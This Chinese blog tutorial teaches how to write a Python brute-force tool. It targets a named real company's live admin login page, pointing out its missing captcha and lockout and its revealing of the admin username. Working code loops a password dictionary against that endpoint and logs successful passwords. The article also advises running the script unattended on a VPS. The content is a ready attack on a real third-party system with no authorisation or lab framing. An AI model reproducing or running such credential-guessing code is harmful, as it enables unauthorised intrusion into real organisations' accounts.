安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > 编程茶楼 > Python > Python爆破工具编写

Python爆破工具编写

时间:2014-07-09来源:未知 作者:安云网点击:
爆破工具千千万,各种各样。但是基本上工具都是对应特定的情况,所以有的时候需要根据不同的情况编写一些爆破工具。我这里用一个简单的实例来讲解下爆破工具的编写原理,就是从我们收集的字典中依次提取数据,然后提交到

爆破工具千千万,各种各样。但是基本上工具都是对应特定的情况,所以有的时候需要根据不同的情况编写一些爆破工具。我这里用一个简单的实例来讲解下爆破工具的编写原理,就是从我们收集的字典中依次提取数据,然后提交到目标地址,通过返回状态来判断爆破成功,希望能帮助到有需要的朋友。        

        例子中的网站是欧普照明的官网后台http://www.opple.com.cn/admin/,因为没有验证码和错误次数的限制,所以理论上是可以通过爆破的方式猜解出密码,而且在用户名和密码错误的时候提示信息也有不同,如图所示,说明admin用户是存在的。
//安云网咨询系统

    

        我们通过浏览器的开发者工具可以看到后台登陆的POST请求,然后根据这个请求来写我们的爆破工具。如下图所示。

//安云网,anyun.org

        从图中可知,关键信息有两点,POST目标是http://www.opple.com.cn/admin/Login.do,提交的数据是action=login&name=admin&password=admin,我们需要变化的就是password字段,剩下的HTTP REQUEST信息我们在代码中可以直接使用图中的。
        提交信息我们已经知道了,还需要判断返回信息,用来区别是否爆破成功。继续看Chrome的开发者工具,如图所示,看到了“密码不正确”的返回信息,根据此信息,我们可以试试从页面的javascript中查找相关的信息。找到如图所示的内容,所以,我们只需要判断返回信息中是否包含字符1,就可以确定是否爆破成功。 //本文来自安云网



        综合以上的信息,我们可以写出自己的爆破脚本,简单方便,源码和注释如下:
//安云网咨询系统

//安云网,anyun.org

  1. #!/usr/bin/python
    //ANYUN.ORG

  2. #coding=UTF-8

    //本文来自安云网


  3. //本文来自安云网

  4. import httplib,urllib,time

    //内容来自AnYun.ORG


  5. //安云网咨询系统


  6. //本文来自安云网

  7. fdict=open("password.dic")                  #password.dic是你的字典文件,每行一条记录

    //ANYUN.ORG

  8. password='admin'                            #随便设置的初始密码

    //ANYUN.ORG

  9. while password:

    //copyright AnYun.ORG

  10.         password=fdict.readline()           #每次读取一行数据
    //内容来自AnYun.ORG

  11.         time.sleep(1)                      #防止提交过快

    //本文来自安云网

  12.         httpClient=None

    //内容来自安云网


  13. //安云网,anyun.org

  14.         try:

    //内容来自AnYun.ORG

  15.                 params=urllib.urlencode({'action':'login','name':'admin','password':password})         #这里就是我们刚刚通过chrome得到的字段,password作为变量。
    //ANYUN.ORG

  16.                #下面就是HTTP头的一些信息,从chrome中得到的,直接拿过来用

    //内容来自AnYun.ORG

  17.                 headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "application/xml, text/xml, */*; q=0.01",'User-Agent':'Mozilla/5.0 AppleWebKit/537.36','Referer':'http://www.opple.com.cn/admin/'}

    //ANYUN.ORG

  18.                 httpClient = httplib.HTTPConnection("www.opple.com.cn", 80, timeout=30)

    //ANYUN.ORG

  19.                 httpClient.request("POST", "/admin/Login.do", params, headers)

    //内容来自安云网


  20. //安云网,anyun.org

  21.                 response = httpClient.getresponse()

    //内容来自AnYun.ORG

  22.                 responseread=response.read()                                      #获取返回信息

    //内容来自AnYun.ORG

  23.                 if 200 == response.status and -1 != responseread.find('1'):    #这里就是判断返回状态,HTTP 200代表访问成功,从返回的数据中查找字符1,判断是否成功
    //安云网,anyun.org

  24.                         fresult=open("result.log","a")
    //内容来自安云网

  25.                         fresult.write(password)
    //ANYUN.ORG

  26.                         fresult.close()
    //copyright AnYun.ORG

  27.         except Exception, e:

    //本文来自安云网

  28.                 print e
    //安云网咨询系统

  29.         finally:

    //copyright AnYun.ORG

  30.                 if httpClient:
    //ANYUN.ORG

  31.                         httpClient.close()
    //ANYUN.ORG

  32. fdict.close() //安云网咨询系统

复制代码

//安云网,anyun.org

        爆破的关键在于字典的强大,所以大家平时要注意收集常用的字典,我们可以使用

nohup python baopo.py & //ANYUN.ORG

 

//本文来自安云网


  命令(Linux下)在VPS上后台跑,偶尔去看看result.log文件中是否有信息就行了。通过上面的理解,我们可以举一反三。面对爆破,可以随时编写自己的爆破脚本。 //ANYUN.ORG



//copyright AnYun.ORG

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容